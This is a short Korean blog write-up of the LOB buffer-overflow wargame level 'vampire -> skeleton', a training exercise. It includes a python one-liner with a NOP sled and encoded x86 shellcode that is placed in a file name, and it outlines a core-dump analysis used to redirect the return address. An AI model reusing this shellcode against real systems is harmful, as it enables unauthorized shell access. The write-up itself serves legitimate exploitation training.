LOB - 10. vampire -> skeleton
2018. 7. 29. 11:51ㆍWarGame/LOB
선배님께 과제를 받아서 다시 오래간만에 lob를 풀어본다. 혼자서 계속 열심히하면 좋겠다만... 쉽지가않다..:(
먼저 로그인을 하고
\
소스코드를 확인해보자
보니까 우리가 인자값으로 넘겨주는 부분은 모두 벤되었네요.. OTL
평상시에 쓰던 환경변수도 막힌 상태고,,,
일단 그럼 뜯어보죠!
메인이 끝나는 저부분에 bp를 걸어줍니다!(분석을 해야하기 때문이죠 :)
조건을 만족시켜주기위해서 "\xbf"*48을 넣어준상태로 실행시키고!
파일을 한번 쭉 살펴보죠
맨 아래에 초기화되지않은 값이 존재합니다. 파일의 위치네요.
7번인가 8번의 orgc와 비슷한 문제로추정됩니다.
shellcode에 \x2f가 들어가지 않는 쉘코드를 구글에서 구해왔습니다.
./`python -c 'print "\x90"*150+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`
skeleton을 위의 쉘코드의 이름을 가진 파일로 복사를해줍니다
조건에 맞는 값들을 넣어줘서 core를 만들어냅니다.
코어를 분석해 파일 끝부분을 보면 위부분이 나옵니다. 이부분으로 리턴주소를 바꾸어주기만 하면 끝날거 같습니다!
굳입니다!
'WarGame > LOB' 카테고리의 다른 글
LOB - 12. golem -> darkknight (277) | 2018.07.30 |
---|---|
LOB - 11. skeleton -> golem (268) | 2018.07.29 |
LOB - 2. gremlin -> cobolt (RTL기법) (255) | 2018.07.14 |
LOB - 9. troll -> vampire (933) | 2018.07.05 |
LOB - 8. orge -> troll (948) | 2018.07.05 |